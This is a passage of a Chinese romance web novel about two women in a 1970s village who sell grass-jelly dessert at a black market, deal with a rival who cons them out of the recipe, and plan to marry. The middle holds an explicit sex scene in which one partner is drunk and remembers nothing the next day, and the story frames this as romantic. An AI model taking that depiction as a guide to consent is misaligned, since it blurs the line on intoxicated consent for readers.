撒娇似的在她的下巴上亲了两口,她这才将自己的想法说出来。 “明天没课,所以……” “所以什么?”季白青看向她。 温淼慢吞吞回答:“所以,我也想和你一起去卖冰粉。” 她很好奇。 还没去过黑市,不知道黑市到底是什么样子,此外,还存着想要给季白青帮忙的心思。 更何况,她本就有几分粘人,空下来的时候总想要跟在季白青后面,这份心思两人都明了,只是温淼从不明说。 出乎温淼的意料,原本因为要跟季白青磨好一会儿她才会答应,但她还没有将祈求的话术想好,就听到了季白青干脆的回答。 “可以。” 温淼漂亮的桃花眼弯起来,仰头有些惊喜地看着她,还没说出来什么话,忽然心里又生出几分担心:“真的可以吗?会不会影响你?” 季白青拍拍她的脑瓜子,“不会,安心吧。” 温淼想去就让她去吧,体验体验也好,据她观察,最近黑市也挺安全。 垂眸见温淼的眸中闪烁着星光,季白青看得心里发笑,不就是去个黑市,就这么高兴? 没忍住在她眼角亲了一口,她柔声问:“想了多久了?” 温淼扁扁嘴,委委屈屈伸出一根手指。 “一个多月。” 可真能憋。 好在她是在这个时候才开口,不然季白青都不知道要不要答应她。 前一段时间气温实在太热,现在倒还好,晚上凉下来都还需要盖一张薄毯。 “那明天我们就去,不过你得伪装一下,要穿得低调点,说话的声音也要变变。” 温淼点头,她经常看着季白青扮成男人模样去黑市,所以她早有准备。 嘱咐完后,见温淼还没有想睡的意思,她在温淼下巴上轻咬一口。 “还不睡?明天要早起。” 温淼幽幽看她一眼,细算起来两人和好到现在,已经一个多月了,明明先前两人也不算是节制,但是这段时间对方却像是突然清心寡欲下来一般,对她各种明暗撩拨都丝毫不为所动。 将季白青的手举起来左右看了看,季白青疑惑:“看什么?” 温淼幽幽道:“在想你的手是不是坏了。” 她刚才不过是害羞一下而已,季白青完全可以继续,可她不继续代表着什么。 并不是温淼对季白青没有吸引力,毕竟这人平日里还是很喜欢抱着她亲亲抱抱的,温淼对这一点还是挺自信的。 所以她在想,难道是每天做冰粉把手给累着了? 季白青:“……” 她颇为无语地将手抽了回来,一下拍在女人丰腴的臀部。 “乱说什么呢。” 见女人的面上瞬间泛起酡红,季白青磨磨牙。 “明天不是要跟我一起去黑市,真做了,你能起来吗?” 温淼不说话了,老实窝在季白青怀里,小声嘀咕:“那好嘛,快点睡觉,不要说话了。” 季白青:“……倒打一耙。” 哪有她这样的。 第二日一大早,或许是有些兴奋,温淼倒是起得要比季白青还早一些。 见着季白青垂着长睫安安静静地睡着,她轻手轻脚起床,将长发随意扎起,洗漱一番后开始做早饭。 橱柜里还剩下一包挂面,温淼看着量煮了,最后敲了两个鸡蛋进去。 煮的两人份,何香月她们没起那么早,做多了等她们醒来面该坨了。 季白青醒来的时候温淼已经做好早饭了,她洗漱完亲了温淼一口,坐下吃了饭后,将井里的冰粉提上来,准备去镇上。 现在准备的冰粉分量还是和以前一样多,但季白青估摸着再过一段时间就应该减少分量了,不然太多卖不出去实在浪费,当老农民久了,她见不得浪费。 帮温淼挑了身衣服,又给她将长发扎成丸子头,给她帽子和口罩,两人出门。 到了黑市的时候,季白青找了个凉快点的位置,将两张凳子拿出来,两人在小摊后坐下。 等到六点多后,日光出来,有几分刺眼,很快有熟客来买冰粉了。 “要两份冰粉。” 那同志说完后,将饭盒递给她。 温淼帮着将桶打开。 顾客看了眼温淼,稀奇道:“哟,这是你媳妇?今天舍得把你媳妇带出来了?” 季白青笑了声,没说话,利索将冰粉打包好递给她。 随着日头逐渐大了,两人面前的顾客越来越多。 温淼聪明,很快就上手了,两人一个人挖冰粉,一个人收钱找钱浇红糖水,让季白青没有先前那么忙乱。 两个人还是要方便一些。 季白青的冰粉生意也积攒了不少的熟客,因为季白青为人大方,舍得放料,大多数与她的关系都不错,见到她媳妇来了,不少人都愿意看在这面子上多买一些。 只是多少都要出言调笑季白青或是温淼一两句,季白青和温淼最开始还有几分不好意思,最后听着都麻木了。 等着前一阵的顾客散去,季白青吐出一口气。 卖到十点多的时候,冰粉还剩下一半,看着这分量,季白青心想今天一上午应该就可以卖完了。 没多久,一个黑瘦的男人走了过来,露出来的脸憨厚。 现在黑市的环境确实没有以前紧张,不少人因为天热没再掩饰面孔,细想再有几年政策就放开了,只是季白青担心有意外,一直坚持着将头脸掩盖住。 没想多久,一个黑瘦男人走到冰粉摊面前,道:“同志,我媳妇怀孕在家,就想着吃你这一口,给我来一份冰粉带走。” 说完,他将手中的饭盒递给她,季白青打上。 男人递了三张皱巴巴的毛票给她,声音忽然低下来。 “那个同志,我想问问……就是这玩意儿是怎么做的?我家媳妇老是想着吃这一口,但是家里……” 他有些拘谨地在裤子上擦了擦手,接过季白青递过来的饭盒,最后才继续道: “家里再有几个月孩子就出生了,钱也不剩多少,总是来买的话,实在是有点困难。” 温淼抬头看着他,微微拧起了眉。 原本因为她不会答应,但季白青却道:“可以。” 男人闻言,瞬间惊喜地瞪大了眼睛。 “真的吗?太感谢了!” 季白青简单几句将方子说清楚,看着男人点头哈腰道谢不停,随后离开。 温淼低声问她:“这人是骗人的还是真的啊?把做冰粉的法子告诉他真的没关系吗?” 季白青摇了摇头,“没事,不知道他说的是不是真的,如果是真的的话,那也算是帮到了那个怀孕的女同志。” 孕妇想吃什么东西确实不能委屈,看那男人的衣着似乎家境确实不算好,还愿意掏钱买一份给她媳妇吃,那告诉他也无妨。 更何况…… “假的也没关系,冰粉生意做不了多久了。” 眼见着气温要降下来,季白青都已经在琢磨着其它的吃食了。 民以食为天,还是做吃食生意更容易赚钱。 温淼闻言,点了点头,放下心来,仔细想了想,季白青所说的确实没错。 中午十二点,刚好将冰粉卖完。 两人骑车回家。 今天何香月她们没有上工,下午温淼和季白青去山上摘冰粉籽准备明天卖的冰粉的功夫,何香月和温向荣从鸡圈里抓了一只公鸡宰了晚上吃,一半炒一半炖。 一个月前季白青刚往家里带回来两只鸡崽子,现在长大了不少,养到过年也能宰了。 此外,季伟还去田里抓了条稻花鱼,清蒸着吃格外鲜甜。 今天的菜式格外丰富,小炒鸡、板栗炖鸡、清蒸鱼还有一个干笋炒腊肉。 何香月顺带将温如嫣也叫了过来改善改善伙食。 晚饭时,季白青把年初酿的桑葚酒倒了出来。 红色的酒液盛在搪瓷杯中,清透,还透着浓浓的果味。 这玩意儿度数低,跟喝果汁似的,季白青给每人都倒了一杯。 温淼抿了一口,发现味道甜滋滋的,她还挺喜欢的。 季白青少见她喝酒,怕她会醉,低声提醒道:“少喝点,多吃菜。” 说完,给她夹了一筷子鸡肉。 温淼瞪她一眼,也压低声音回复:“我又不是小孩。” 意识是让她不用那么担心。 季白青眉眼间带了几分迁就,语气含笑:“好,不是小孩就行。” 饭桌上,随意聊着天,先前买来的收音机也被打开,播放着新闻播报。 屋子里热热闹闹的,氛围融洽。 某个说着自己不是小孩的家伙在她没注意的情况下还是一连喝了好几杯桑葚酒,季白青见她面色如常,才微微放下心来。 饭后,季白青和温如嫣一起将碗筷收拾好,将温如嫣送到门口,回到堂屋的时候见温淼靠在椅子上,眼皮垂下,似乎是昏昏欲睡的模样。 她心一软,过去在她面前弯下腰,轻声道:“蓁蓁、蓁蓁,洗个澡回房间睡。” 温淼撑开眼皮,眼神在面前的青年身上落定。 她看了好一会儿,随后慢吞吞重复:“回房间……睡觉?” 女人摇了摇头,唇瓣扯出笑。 “我不睡哦~” 季白青被她可爱到,此时也明白这人多半是醉了。 也夹着声音软绵绵问她:“不睡要干嘛呀?” 干嘛?温淼晕晕乎乎地想了想,看着面前的人,眨了眨眼。 最后按住她的肩膀,在她的脸上咬了一口,留下一个浅浅的牙印。 她出言道:“要……” 【作者有话说】 要干嘛?好难猜。 让我看看是哪些幸运鹅中奖了,嘿! 感谢投雷营养液,感谢评论订阅收藏[三花猫头] 已经看了评论区之后不要觉得我有病[化了][化了][化了]我不是有病……我只是回评论的时候忘记点没点红包了……沉默[托腮]补药觉得我在发神经 104 第104章 ◎宝宝◎ 要干什么?只是说出了短短一个字,醉意漫开,温淼的脑子就有些晕晕乎乎的,要说的话再也回想不起来。 她一双迷蒙漂亮的眼睛*睁开,盯着面前的季白青,脑袋微微一歪,露出一个漂亮却带着几分傻气的笑容。 “我……忘记了……抱我。”女人的声音软糯,伸出手就向季白青讨抱。 季白青看着面前醉呼呼、不知道到底乱七八糟说些什么的撒娇精,拿她有些没办法,只能用抱小孩似的姿势托着她的臀将人抱起来。 温淼也顺势圈住对方的颈脖,在她肩膀上依恋地蹭了蹭脸,没多久又立马开口道: “要洗澡……” 季白青嗅到她身上浅淡的果酒气息,没忍住笑,问她:“你现在能自己洗吗?” 一整个醉猫,怕是没走到澡间就直接倒地上了。 哪知女人说话的语气十分理直气壮,指挥起她来字正腔圆,听不出丝毫醉意:“要阿青帮我洗。” 季白青没回答,先将她抱回房间,以免待会儿两人这样亲昵的姿势被何香月她们碰见会尴尬。 房间门轻轻被关上,季白青将人放在凳子上,看她坐稳后去柜子里给她找换洗的衣物,嘴上却还是逗她的话术: “阿青才不想帮你洗,谁让你喝这么多的?自己洗。” 温淼闻言,扁了扁嘴,盯着她的背影好一会儿,随后扶着凳子站了起来。 将衣服找好,季白青一扭头却发现,醉鬼此时正在一步一步朝自己靠近。 她在一边看得有些提心吊胆的,好在温淼的步子迈得很稳,脸色也如常,若不是眼中迷蒙,脸颊微粉,没人能看出来她此时已经醉了。 看着她花了几分钟,终于走到了自己身前,季白青垂眸与她对视。 温淼看着她十分娇气地哼哼一声,霸道命令:“不想也不行,必须要帮我洗。” 气势十足地将一番话说完,她也不听季白青的回复,低头开始认真地尝试解开身前的扣子。 原本灵巧的手对上一颗小小的扣子却失了力,每下都对不上扣眼,无论怎么样都解不开,她抿着唇有些生气。 季白青看着和扣子较上劲的人有些无奈,只能开口:“……我帮你洗,快别折腾了。” 将衣服拿上,她看着温淼,问:“现在还能走吗?乖乖跟在我后面好不好?我带你去洗澡。” 温淼看着她,清媚的眼一眨,立马否定。 “不能,要阿青抱。” 说完,女人眼巴巴地看着她。 季白青:“……” 她就多余问那么一句。 将人打横抱起,带着人往澡间走,温淼挂着她的脖子,靠在她胸前乖乖巧巧安静下来。 季白青将灯拉开,让她在矮凳上坐下,去打了个热水回来的功夫,就见温淼又和身前的扣子较起劲来。 见她似乎是打算用蛮力将扣子扯开,季白青的额心一跳,连忙将水提进去,上前制止。 “行了,你坐好,我给你解。” 温淼看着低头认真给自己解开扣子的人,有些委屈的控诉:“它欺负我。” 季白青头也不抬,温声安慰:“这样啊,我们蓁蓁受委屈了。” 听着青年的柔声低哄,温淼眸中的雾气浓郁,几乎要溢出泪来了。 季白青刚把她的上衣脱了,一抬头就对上她朦胧的泪眼,顿时觉得更好笑了。 这是委屈得要哭了? 怎么这么娇气?不过是解不开扣子而已。 她耐心捧住温淼的脸,问:“这么难过啊?要我怎么做才能不委屈?” 温淼吸了吸鼻子,声音绵软,尾音也微微拖长,撒娇意味浓郁。 “要亲亲。” 季白青在她脸颊上亲了一口,“可以了吗?” 温淼摇头,点了点自己的唇,语气不满道:“要亲这里。” 还没等季白青亲,就被温淼用有几分粗暴的力道按着肩膀往她的方向推,随后唇瓣被快速咬住。 尖尖的犬齿磨着季白青细嫩的唇肉,细密的疼痛散开。 罪魁祸首咬完之后,也不忘记伸出舌尖给她舔舔,像是事后抚慰,然后……就这么潦草地亲完了。 季白青被推开的时候,看着她的杏眼微微圆睁。 “就这样?” “嗯?”温淼歪着脑袋,唇瓣莹润还带着水迹,眼神疑惑地看着她,像是不懂她在说什么。 季白青咬牙,将她的脸颊胡乱揉了一通,看她软白的脸颊微微泛红这才消了气。 这小坏蛋,哪里是想要和她接吻。 明明就是想要将她咬一顿才对。 “自己把内衣脱了。”季白青声音清冷几分。 温淼乖乖将衣服脱了,就连裤子也很快褪了下来。 雪白柔软的身体呈现在她面前,季白青兑好了水,看着眼前的美景心中却生不出什么绮思,只想要快点帮醉猫洗好澡。 毕竟面前这只不怕水,反而很爱玩水,指尖撩起温热的水珠一个劲往季白青的身上、脸上撒。 季白青帮她把头发打湿,给她抹上香味浓郁的洗发膏,瞥一眼她还大睁着的眼睛,只是身体像是炸毛的猫,僵直不再乱动,出言提醒道:“闭上眼,不然待会儿水会进到眼睛里。” 温淼闻言,睫毛怯怯一颤,慢慢阖上了眼。 季白青柔软的指腹在她的头皮上轻按,将浓密的泡沫揉出来,季白青听她嘤咛几声,似乎是舒服了,唇角微微翘起,舀了水简单将她头上的泡沫冲洗掉,趁着人还没有反应过来,帮她身上打上香皂冲洗。 将人身体擦干套上睡裙的时候,季白青身上已经湿了大半。 给温淼的湿发拧掉水分,看着有些昏昏欲睡的温淼,她拍拍对方脸蛋:“宝宝先别睡,回房间我帮你擦干头发再睡。” 温淼艰难撑开眼皮,打了个秀气的哈欠,伸出手想要抱,却被季白青提前预料到,伸出手指抵住了她的肩头。 她指着自己湿漉漉的衣服裤子,说: “你看我身上被你弄得多湿,这怎么抱?自己走回去。” 温淼看着她身上的湿块,都是她弄的,下意识地生出几分心虚。 最后还是乖乖被季白青牵着回到了卧室。 季白青帮她把头发擦得半干,嘱咐:“自己擦擦,等干得差不多再睡。” 说完,她找了衣服也去澡间洗澡了。 洗完澡后顺带将她和温淼的衣服给洗了晾上,回到房间,温淼已经上了床,睡在季白青平时的位置,背对她,薄毯盖着肚子,裙摆因为动作滑到腿根。 季白青过去将她裙摆往下拉,往里面爬,刚躺下,怀里就硬塞了个人。 温淼揉着眼睛,娇声问:“你怎么才回来?” 季白青将人抱着,拍拍她单薄的背,温声道:“刚才洗了衣服,在外面把头发擦干了。” 说着,她的手指插进温淼的黑发之中,感受到柔顺的触感,这才放心。 “怎么还不睡?”她问。 温淼声音软糯,过了好一会儿才回答:“……在等你。” 季白青心软成一滩春水,弯起眼睛哄人:“那现在我回来了,我们一起睡好不好?” 醉酒后的温淼确实有些出格的可爱,不过还是得少喝。 才被她在心里夸了可爱的温淼闻言却叛逆起来,摇头拒绝。 “不要,不想睡。” 季白青撑起头看向她,问:“为什么不睡?现在都几点了。” 给人洗澡花的时间有些多,她自己又收拾了一番,现在已经十点多,早就到了平日里温淼该睡的点。 她的脸没什么表情的时候一向显得冷淡,此时眼睛微微下垂看着女人的时候又多了几分疏冷。 可温淼却不害怕,抓着她的手放在自己的唇边,然后亲了一口。 她忽然扬唇道:“我想起来我要做什么了。” 季白青唇角微扬,在她唇边点了点,反问道:“你要做什么呀?” 温淼皱着鼻子,侧过头去咬住她的中指不放,湿黏涎液将季白青的手指裹住。 “我要……唔、吃掉……你。” 说完,她垂眸,眼睛微微眯起来,显得有些妩媚,舌尖搅着季白青的指尖慢慢舔|舐|吮|吸。 舌尖的凸起擦过季白青的指尖,带来几分不深不浅的痒。 季白青一顿,看她微张的唇瓣里透露出来的舌尖。 将中指含得更浅的反义词了些,温淼又多咬住她的食指,女人的眼角坠上了浅浅的粉色,显得艳丽灼人。(审核,这是脖子上……手啊!别闹了行吗) 酥麻感似乎从手指一路蔓延至全身,季白青发出一声柔软鼻音,脸颊潮|红,眉头浅浅蹙起,想要将手往外抽。 “蓁蓁,别这样,不舒服。” 只是还没等她将手指抽出来,就被女人含娇带媚地一瞪,尖牙抵在指腹落下个牙印才让她拿出来。 唇边不自觉被带出一些含不住的涎液,泛起湿漉漉的水光,温淼的胸膛轻微起伏,红唇微张,能看出舌尖变得艳|红,雪白的脸上也带了几分疲色。 季白青拿着手帕将她的唇角水渍擦拭干净,又按了按自己的手指。 指腹的湿润被擦拭干净了,但似乎还仍旧存留湿意。 正想凑近看看温淼的情况,女人蝶翼般的睫毛一颤,睁开了眼,两人的视线撞上。 “难受吗?” 季白青想要下床去给她倒杯水,最后却被人圈住手腕。 女人的声音柔软中带了些许沙哑无力,透出丝丝缕缕的柔|女眉,尾音挠着她的心尖。 “不难受。” 女人的手指松松圈住她的手腕,指腹在她手腕间摩挲,又轻又痒,只是伸手一拽,轻易将人拽到了自己的胸前。 脸顿时与柔软凑近,季白青一怔,还没等反应过来,鼻腔最先涌入大股馥郁甜腻的馨香,脑中也不受控制地挤入了几分旖|旎|绮|思。 温淼的手落在她的长发上,轻轻顺了顺她有些凌乱的发丝,像是在鼓励她将心中所想实施出来一般。 季白青眼角上挑,眼尾也漫上湿红,看她一眼,问不知是清醒还是迷糊的醉鬼:“真的想要?” “嗯……”醉鬼应下。 听见这话,她也没再忍着,侧过头去,在软白上不轻不重咬一口,留下齿痕。 从锁骨处开始吮吻,吻痕一处处绽开,最后裙子被揉得皱巴巴,捞在胸前,什么也挡不住。温淼的手攥着布料,手背绷紧,细白的皮肤下青蓝色血管清晰可见。 “嗯……”她另一只手突然猛地抓紧了枕头,眸中噙着一点泪珠,唇瓣也被咬着,有些无力地看着胸前毛茸茸的头,身体软绵绵的没有任何力气。 吻逐渐落在了小腹,像是预料到了什么,温淼的手指在青年进行下一步动作之前落入她的发丝间,手指攥着发根轻轻发力,却还是没能阻挡她的下一步动作。 季白青将脸往下挪。 她总喜欢这样。 但温淼容易害羞,阻止道:“不、不可以这样……” 回答她的只有空气中含糊的声音。 到最后,几乎全身都失了力气,大脑发白,任何思绪都难以继续延续,温淼圆润的脚趾紧紧蜷着,一直到被季白青放开后才松懈下来。 季白青见她这副柔弱模样,去亲她的唇,却被人下意识的避开。 捏着她的下巴吮吻好一会儿,她放开人,哑着声音开口:“自己都嫌弃?” 温淼看着她,没有说话,仍在失神中。 见状,季白青出了房间,倒了杯水,又将手仔仔细细清洗干净,最后回到房间,扶着温淼坐起身,让她半倚在床头,给她喂水。 见她将大半杯的水都喝完,季白青将杯子随意放到一边。 手再次落在她腿上的时候,修长有力的手衬得雪白腿肉越发柔软。 季白青低笑一声,手腕微转,也没给女人多少时间做准备。 下一刻,女人手指扣在她的肩膀上,指甲陷入,掐出痕迹。 绵绵密密的感觉慢慢上涌,温水潮汐般将人淹没,几乎要让人溺毙于咸湿海水中,只能勉强浮上海面喘上一口气。 随着海浪的拍击,眼神漂浮不定地落在季白青的黑发上,见她额前碎发都被潮汐冲得带了些湿润,心中的羞耻情绪更甚。 “呜……要喘不过气了。”她的话语破碎,向在岸边见到的唯一一人求救。 见人睫毛濕漉漉,整个身体都失了力,季白青让她适应海水上涌,给她看自己被海水泡得有些发白的指腹。 她语气有些恶劣:“怎么这么濕……” 温淼猛地闭上眼睛,呜咽一声,闭上了眼,无助地将身体蜷缩起来,浑身泛着粉意,黑发凌乱贴在脊背胸前,纯洁又带了几分冶艳。 “不许、不许说……” 她声音软绵绵,压根不带任何威慑力,看起来像是一只虚张声势的可怜猫崽子。 季白青还是很乐于在这种事之后哄她的,温声道:“不说了。” 无论是季白青身上的睡裙还是温淼身上的,都带着东一块西一块的湿痕,季白青将两人的衣服换下,触摸到温淼的腿根的时候,对方仍旧心有余悸,哄了好久才相信她不会继续。 季白青给她换好了内裤和睡裙,又将凉席擦了擦,好在先前就在她身上垫了张毯子,否则凉席下的褥子都得湿掉。 简单收拾一番,夜已经深了,窗外漆黑一片,偶尔传来一声虫鸣,夜凉如水。 看出来温淼脸上的倦意,季白青将人往自己怀里搂,哄她睡觉。 “乖,快睡。” 眼皮沉重的温淼却还是强撑开眼皮,看了季白青一眼,语气接近呢喃。 她说:“要什么时候才嫁给我?” 季白青闻言一怔,唇角不自觉带上了几分笑意,将人的手放在唇边吻了吻。 “就快了。” 只是她原本以为温淼还不愿意太早结婚,可没想到温淼醉了后却将这话主动问出了口。 她也想结婚。 不过怎么不是温淼嫁给她?算了,这也不重要。 季白青的心中多了些雀跃,看她没多久就熟睡的脸,又在她脸颊上啄吻几口。 大脑一时间多了些兴奋情绪,季白青花了不少时间才按捺住,最后抱着温淼沉沉睡去。 第二天,虽然季白青睡得晚,但她还是按照往常的生物钟时间醒了过来。 今天不用去杀猪,这个周三周五都去了一次,周日便没有分配肉猪到食品站。 起来换了身衣服,昨晚就把冰粉做好了,所以今天早上肯定也要继续去黑市卖。 想多陪陪温淼也没时间,只能下午回来补偿。 她想着杂七杂八的事儿,有些神思不属地出了房间,刚洗漱完,就听见身后传来本该在熟睡的女人的声音。 “怎么没叫我?” 转头一看,温淼揉着眼,脸上仍旧带着几分粉意。 季白青快步走到她身前,“还没累吗,醒这么早干什么?” 她不说还好,一说温淼就感觉身体的酸意传遍了全身,那一处还带着过度的饱胀感。 温淼抬起眼,对上季白青的时候还有些茫然。 “昨晚……怎么了?” 她的记忆只停留在喝了几杯桑葚酒之后,结果一醒来,到了第二天早上不说,还全身都泛着酸意。 季白青与她四目相对。 “……” 她揉了揉太阳穴,“你喝醉了,昨天一直缠着我要干什么不知道了?” 即使她没有明说,温淼也能够从身体的异状和对方的无奈神色中看出几分端倪。 温淼的脸颊攀上粉意,“我……” 她刚想否认,可、可……说有的话被堵在喉咙,她低头看向地面,无端委屈。 昨天做了什么事她都没有丝毫印象。 但现在却是浑身泛酸,很不舒服。 季白青叹了一口气,“都忘了?” 以后还是得少喝点酒,伤身不说,还断片。 “头痛不痛?” 季白青问。 温淼摇了摇头,“不痛,就是身上酸。” 季白青将人打横抱起,回到房间,让她坐在自己的腿上。 摸了摸她的脸,“帮你上点药好不好?吃了早饭再睡着好好休息一会儿。” 昨晚睡前是给她上了药的,但是早上起来后还暂时没有。 温淼点头,却抱住她没有放开。 被人黏了一会儿,季白青的下巴抵着她的肩膀便开口:“好了,乖宝宝,现在上药,下午回来陪你,你再撒娇。” 温淼抱着她晃了晃,“才不是宝宝——我上午也想要跟你去。” “不是不舒服?”这样还要去呢。 温淼又不说话了,还是坚持刚才的想法的意思。 季白青眉心软化,迁就道:“好吧,想去就去,但是去之前先擦药?” 温淼将抱着她的手松了松,季白青将她抱下来,放到床上,给她细细抹上了药。 等待着冰凉的药膏化开的时间,季白青让她先休息一会儿,她去做了个早饭,做了早饭后才让温淼起来开始吃饭。 吃了早饭后,季白青给她找了身柔软的衣服,让人穿好了衣服后,便准备去黑市卖冰粉。 时间已经比平时要晚上一个小时左右,她准备骑车去镇上前,问已经坐在后座的温淼: “真的不在家休息吗?” 温淼摇了摇头,将脸贴上她的腰,不言而喻。 见状,季白青无奈一笑,嘱咐:“那坐稳了。” 说完,她蹬着车往镇上去。 今天去的时间有些晚,到地方的时候昨天的好位置已经没了,季白青一眼扫过去,找了处有些荫蔽的地方,将凳子放下让温淼坐着。 在这之后,她才开始将冰粉摆开。 温淼坐在后面撑着脸,眼神落在昨天摆摊的地方。 那边有人占了,也是用桶装着的东西,她眯了眯眼睛,如果没记错的话,这人是昨天那个黑瘦男人?他身边站着个小腹隆起的妇人。 见到季白青将东西摆好之后,那黑瘦男人也开始大声吆喝:“冰粉!” “两毛钱一碗的冰粉!” 闻言,原本站在季白青面前准备买冰粉的人纷纷有些心动。 “两毛的冰粉?那么便宜?” “不如我们去那买吧。” “走,我们快去看看。” 有人想要省下那一毛钱,便毫不犹豫地转身去了那对妻夫的面前。 也有季白青的常客还在犹豫,看着季白青笑着问: “同志,别人卖两毛,你这边有优惠吗?” 季白青看了那黑瘦男人一眼,也认出来他的身份,两人对视一眼,男人心虚地垂下了眼。 看来,有怀孕的老婆是真,馋冰粉是假,套冰粉方子赚钱抢生意才是最终目的。 她收回视线,看着面前的顾客微微摇头:“不好意思啊同志,我们一直都是这个价格,没有其它优惠了。” 闻言,那同志也没犹豫,“行,那给我来一碗。” 她在季白青这里买习惯了,也没有再为了心疼那一毛钱去另外个地方,这边的口味有保障。 季白青对她一笑,利索帮她盛好。 寥寥几个顾客买了冰粉离开后,她这边一时间便没有再来人,而那对妻夫摊前却挤挤攘攘站了不少人。 都是奔着那便宜的一毛钱去的。 温淼不知道什么时候站在了季白青身边,开口说:“我就知道他肯定是不怀好意。” 季白青露在外面的那双眼弯起,“没事,今天卖不完的话回去分给小孩儿吃。” 只要不浪费就好。 说到底,这也不是她一个人的方子,后世凉粉遍地都是,季白青没想着自己一家独大,有人见她卖得好,想要来抢生意也是迟早的事。 见季白青也没有烦恼,温淼戳戳她的肩膀,哼了一声。 “你就是脾气太好。” 季白青哄她:“好了,别操那么多心,快去坐着好好休息,这里晒。” 一上午过去,到了十点多的时候,那对妻夫俩的冰粉已经卖完了,男人带着东西,路过季白青的时候有些得意地看了她一眼,“同志,我们就先收工了啊。” 季白青眼皮都没抬一下,继续把玩着温淼细白的手。 她不太爱同人争执这些。 见季白青和温淼毫无反应,黑瘦男人轻嗤一声,拉着他媳妇离开了。 等人走了之后,季白青摊前的生意才好了一些。 差不多十二点,桶里的冰粉还剩下小半,估摸着回去分一分也差不多了,季白青和温淼回家。 两人到家的时候,恰好遇到了小米,一年过去,小米的性格越发开朗,荷花靠着给别人缝补衣服、做衣服的话也都赚了些钱,够养活两个人,母女俩在村里的处境好了起来。 让小米叫上几个嘴严的小家伙来家里,到家后季白青将凉粉分成几份,浇上红糖水,让小孩们吃得津津有味。 温向荣见状,觉得有些奇怪。 “今天还没有卖完?怎么还剩下这么多。” 往日里最多也就剩下一片底,今天倒好,还剩下小半。 温淼将今天发生的是说给她听,闻言,温向荣摇了摇头。 “小季做的没错,只是那男人心肠太坏了。” 季白青见祖孙俩面色都不悦,觉得有些好笑。 “好啦,奶奶、淼淼,你们都别担心了,就算是对方赚钱也赚不到多久了。” 中秋后气温肯定是会降下来的,天气不热,凉粉的生意就不景气了。 吃过午饭,季白青帮温淼又擦了次药,身体不适又在黑市守了一上午,饭后温淼躺在床上迷迷糊糊地就要睡着。 季白青将她抱在怀里亲亲她的发顶,看着她浓密纤长的睫毛,内心有几分甜蜜又无奈。 昨天还说着要让她嫁她,结果一起来,什么话都不记得了。 只剩下季白青自己一个人还将那句话记在心里。 不过不记得也好,这种事情季白青也没想过让温淼先开口,她趁着醉意先自己一步开口已经够惊喜了,这也给季白青那个提了个醒,她确实应该准备准备,争取早日给温淼一个惊喜。 温淼被她亲着,头往一边挪了挪,将手搭上季白青的腰,声音柔软:“睡觉,别弄了。” 季白青拍拍她的背,“嗯,睡吧。” 人睡着之后,季白青起床,将藏在柜子深处的戒指找出来,左右看了看。 原本觉得还算是满意的戒指此时再看,却只觉得有些简陋。 这原本想的也只是个逗温淼开心的玩意儿。 好像应该挑更好的,可这时代什么玩意都还没有,似乎也就只能做到这个地步。 她还得再仔细想想。 出了房间,恰好碰上了何香月。 何香月被季白青目光灼灼地盯着,她一愣。 “你看我干什么?” 季白青开口:“娘,你有没有什么传家宝,送给你未来女媳的。” 何香月:“……” 她在季白青的背上一拍,没好气道:“你老娘我三代贫民,又不是大地主,哪来的什么传家宝?!” 季白青幽幽叹出一口气,好吧,她就猜到了。 何香月挨她近了一些,压低声音,询问道:“怎么,你和淼淼的婚事能定下来了?” 季白青摇了摇头。 何香月白眼一翻,“那你问个屁!” 季白青看她一眼,挪开视线,声音含笑,带了几分炫耀的意味:“不过淼淼跟我说想结婚了。” 何香月虽然见不得她那嘚瑟样,但听到这个消息也是高兴的。 毕竟之前两人的婚事她也想了很久,结果最后却一直拖到了现在,她都打算不再管了,但在今天又听见了好消息。 沉吟一会儿,她道:“既然要定下来,那就把东西准备好,新房那边的东西全都添置好,再给淼淼把她喜欢的东西买齐。” 毕竟温淼是城里人,城里人都更注重这些礼数。 何香月叮嘱完后又开口:“你现在手里钱还有多少?我给你补贴点。” 季白青:“……娘,你放心吧,我手里还有钱。” 她每天去黑市做生意,这样存不下来钱,那一天天到底是在瞎忙个什么。 平时也没地儿花钱,顶多买点吃的用的,哪里还用得上何香月给她掏钱补贴。 闻言,何香月拍了拍她的肩膀:“行,你有钱就好好准备着,早点把日子定下来也好。” 说完,她去温向荣房门口叫她一起去老姐妹家唠嗑了。 看着两人离开,季白青感叹,温向荣真是在村里混得如鱼得水。 她又想了想,最后还是没有想出到底该新找个什么样的戒指,用什么方式求婚才能够让温淼喜欢。 只能暂且将这想法搁置下来,戴上帽子,背上背篓去山上摘冰粉籽。 想着明天那对妻夫肯定也会去卖冰粉,季白青只摘了半桶的量,回到家后下地窖看了看存放着的辣椒酱,打算明天再带一部分辣椒酱去卖。 这段时间也一直有人在问辣椒酱,毕竟去年卖的辣椒酱,过了这么长的时间,都已经吃完了。 何香月做的辣椒酱味道格外好,让人心心念念地记挂着。 周一,温淼去上课,季白青提前起床,在自行车后座放上冰粉和辣椒酱,今天比以往更一点到了黑市,原本以为自己来的已经算早了,毕竟就连太阳都还没出来。 但到地方的时候再定睛一看,那对妻夫比她来的还早,还是站得昨日的位置。 季白青沉默一瞬,扯了扯唇,心想,起得可真够早的。 她找了个好些的位置停下,将今天要卖的东西摆出来几份。 冰粉摆在一边,辣椒酱摆在另外一边。 昨天晚上让温向荣她们都尝了尝加了辣椒酱的冰粉,除了温淼,她们都觉得味道不错。 虽然季白青也觉得有些不符合常理,但万一真的有人喜欢。 她便也调了这么一份辣椒水,甜口冰粉加上山葡萄,辣口冰粉加上酸菜。 她将一碗辣口冰粉摆出来看着,主打一个博人眼球。 那对妻夫离季白青有一段的距离,只是人想要找茬就靠着这几步的距离明显挡不住。 不知什么时候,面前投下阴影,季白青抬头看向走来的瘦黑男人。 男人居高临下,眉眼间得意洋洋地看着她。 “你今天还敢来?昨天没卖完吧!今天又来,小心一碗也卖不出去!” “就算你降价到和我们一样,我们照样可以降价,难道你能降过我们?我劝你还是早点收拾东西走人吧。” 男人说着这话的时候眼里闪着精明,看起来和那天问方子时的憨厚截然不同,季白青还是惊叹于他优异的演技,但凡那天他露出一点破绽,季白青都不会把冰粉方子给他。 给狗都不给他。 她觉得有些没意思,垂下眼睫,淡淡道:“关你什么事?” “你!”男人没想到她居然会是这个不咸不淡的态度,指着她半天说不出话来。 他下一秒看向季白青腿边的桶,被人轻视的怒气上头,立马想要将其踢翻。 季白青余光飘到他的动作,站起来迅速将他一推,重力失衡之下,男人瞬间跌在地上。 他看着面前捂着面的瘦高男人一步步走近,即使看不到遮掩下的脸色也感受到他周身散发的不好惹的气息,顿时腿软了些。 